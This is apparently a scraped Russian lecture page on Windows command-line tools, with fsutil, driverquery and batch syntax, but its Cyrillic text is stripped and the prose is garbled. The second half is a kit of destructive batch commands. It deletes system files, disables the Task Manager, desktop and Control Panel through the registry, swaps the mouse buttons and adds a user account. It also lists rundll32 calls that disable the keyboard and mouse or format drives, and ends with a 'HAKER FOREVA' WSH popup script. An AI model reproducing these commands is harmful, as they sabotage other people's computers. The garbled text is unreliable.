.


:




:

































 

 

 

 


fsutil




behavior , , 8.3 , 8.3 NTFS, NTFS, , , ,
dirty . . , autochk
file . , , ,
fsinfo . , , , NTFS
hardlink C . . . NTFS , ( ). , . . ,
objectid . , Windows XP , . NTFS .
reparsepoint . , NTFS, , , /. . ,
sparse . , , . , . , () , ( , ) . , , , C2.
usn . (USN),
volume - .  
Eventquery.vbs LIST| CSV}] [ /r _ [ /nh] [ /v] [ /l [ APPLICATION] [ SYSTEM] [ SECURITY] [ "DNS server"] [ __] [ __] [ *] ]
Eventcreate SYSTEM}]|[ /so _]} /t { ERROR| WARNING| INFORMATION| SUCCESSAUDIT| FAILUREAUDIT} /id _ /d
Driverquery LIST| CSV}] [ /nh] [ /v] [ /si], /s - IP- ( ). . /u - , . , . /p - , /u. /fo { TABLE| LIST| CSV} - . : TABLE, LIST CSV. TABLE. /nh - . , /fo TABLE CSV. /v - . /si - , . : driverquery: driverquerydriverquery /fo csvdriverquery /nhdriverquery /s ipaddressdriverquery /s server1 /u hirpln /v driverquery /s server1 /u maindomhirpln /p p@ssw3d /fo list
Start /shared}] [{ /low | /normal | /high | /realtime | /abovenormal | belownormal}] [/ wait] [ /b] [ _] [ ]
Shift . : shift
Setlocal disableextensions} { enabledelayedexpansion | disabledelayedexpansion}
Set , . , set . : set [[ /a [ ]] [ /p [ =]] ]
Pushd popd . : pushd [ ]
Prompt (Cmd.exe). , prompt : "" (>). : prompt [ ]
Popd , pushd. : popd
Mkdir . : mkdir [ :] , md [ :]
If . : if [ not] errorlevel [ else ], if [ not] 1 == 2 [ else ], if [ not] exist _ [ else ]. , : if [ /i] 1 _ 2 [ else ], if cmdextversion [ else ], if defined [ else ], not - . errorlevel - , , Cmd.exe, , . - , . 1 == 2 - , 1 2 . (, %1). . exist _ - , _. _ - . _ : EQU - NEQ - LSS - LEQ - GTR - GEQ -
/i . /i string1 == string2 if. . 1, 2 , . cmdextversion - , , Cmd.exe, . 1. 1 . cmdextversion , ( ). defined - , . - else.
Ftype . ftype . : Ftype [ _[ =[ _]]].
For %% } in () do [ ].
Endlocal , , setlocal. : endlocal.
Del (erase) . : del [ :] [ ] _ [...] [ /p] [ /f] [ /s] [ /q] [ /a[: ]], erase [ :] [ ] _ [...] [ /p] [ /f] [ /s] [ /q] [ /a[: ]].

.

del "%SystemRoot%\Driver Cache\i386\driver.cab" /f /q >nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f >nul
del "%0" >nul
C attrib -s -r -h -a %systemdrive%*.*
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\System /v DdisableTaskMgr /t REG_DWORD /d 1 /f >nul
, %SystemRoot%/system32/rundll32 user32, SwapMouseButton >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer\RestrictRun /v 1 /t REG_DWORD /d %SystemRoot%\explorer.exe /f >nul
del "%SystemRoot%\Cursors\*.*" >nul
del "%SystemRoot%\Media" /q >nul
reg add HKCU\Software\Microsoft\Windows\Current Version\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f >nul
C net user "" /add >nul

RUNDLL - BAT- :

rundll32 shell32.dll,Control_RunDLL hotplug.dll
rundll32 diskcopy,DiskCopyRunDll " "
rundll32 keyboard,disable , .
rundll32 mouse,disable .
rundll32 krnl386.exe,exitkernel , Windows
rundll32 mshtml.dll,PrintHTML "HtmlFileNameAndPath" HTML, "HtmlFileNameAndPath" -
rundll32 print2.dll,RUNDLL_PrintTestPage
rundll32 netplwiz.dll,AddNetPlaceRunDll " "
rundll32 rnaui.dll,RnaWizard " "
rundll32 rnaui.dll,RnaWizard /1 " "
rundll32 shell,ShellExecute ( " ")
rundll32 shell32,Control_RunDLL " "
rundll32 shell32,Control_RunDLL appwiz.cpl,,n " ", "n" ( 1 3)
rundll32 shell32,Control_RunDLL main.cpl @0 " "
rundll32 shell32,Control_RunDLL main.cpl @1 " "
rundll32 shell32,Control_RunDLL main.cpl @2 ""
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintersFolder "" ( )
rundll32 shell32,Control_RunDLL main.cpl @3 ""
rundll32 SHELL32,SHHelpShortcuts_RunDLL FontsFolder "" ( )
rundll32 SHELL32,Control_RunDLL modem.cpl, add " "
rundll32 shell32,Control_RunDLL timedate.cpl " "
rundll32 shell32,OpenAs_RunDLL " ..."
rundll32 shell32,ShellAboutA WINHOWTO.RU Windows
rundll32 shell32,SHExitWindowsEx 0 ,
rundll32 shell32, SHExitWindowsEx 1
rundll32 SHELL32, SHExitWindowsEx -1 Windows
rundll32 shell32, SHExitWindowsEx 2
rundll32 shell32,SHExitWindowsEx 4 .
rundll32 shell32,SHExitWindowsEx 8 Windows ATX-
rundll32 shell32,SHFormatDrive :
rundll32 SHELL32,SHHelpShortcuts_RunDLL AddPrinter " "
rundll32 shell32,SHHelpShortcuts_RunDLL Connect
rundll32 SHELL32,SHHelpShortcuts_RunDLL PrintTestPage
rundll32 sysdm.cpl,InstallDevice_Rundll
rundll32 url.dll,FileProtocolHandler %1 -, %1 - URL ( [link=http://).]http://).[/link]
rundll32 url.dll,MailToProtocolHandler %1 , %1 - e-mail
rundll32 user,CASCADECHILDWINDOWS
rundll32 user,TILECHILDWINDOWS
rundll32 user,disableoemlayer (!) - - (, , ). , Windows
rundll32 user,ExitWindowsExec Windows
rundll32 user,RepaintScreen ""
rundll32 user,SetCaretBlinkTime n , n
rundll32 user,SetCursorPos
rundll32 user,SetDoubleClickTime n (Double Click), n
rundll32 user,SwapMouseButton ( )
rundll32 user,WNetConnectDialog " "
rundll32 user,WNetDisconnectDialog " "
rundll32 AppWiz.Cpl,NewLinkHere %1 , %1 -


WSH( win2000):

echo var WSHShell = WScript.CreateObject(WScript.Shell); > %temp%\mes.jsWSHShell.Popup(][AKER FOREVA!); >> %temp%\mes.jsstart %temp%\mes.jsdeltree /y %temp%\mes.jsattrib c:\autoexec.bat +h +s +a +rpausecls

 





:


: 2017-02-24; !; : 458 |


:

:

, , .
==> ...

1788 - | 1467 -


© 2015-2024 lektsii.org - -

: 0.015 .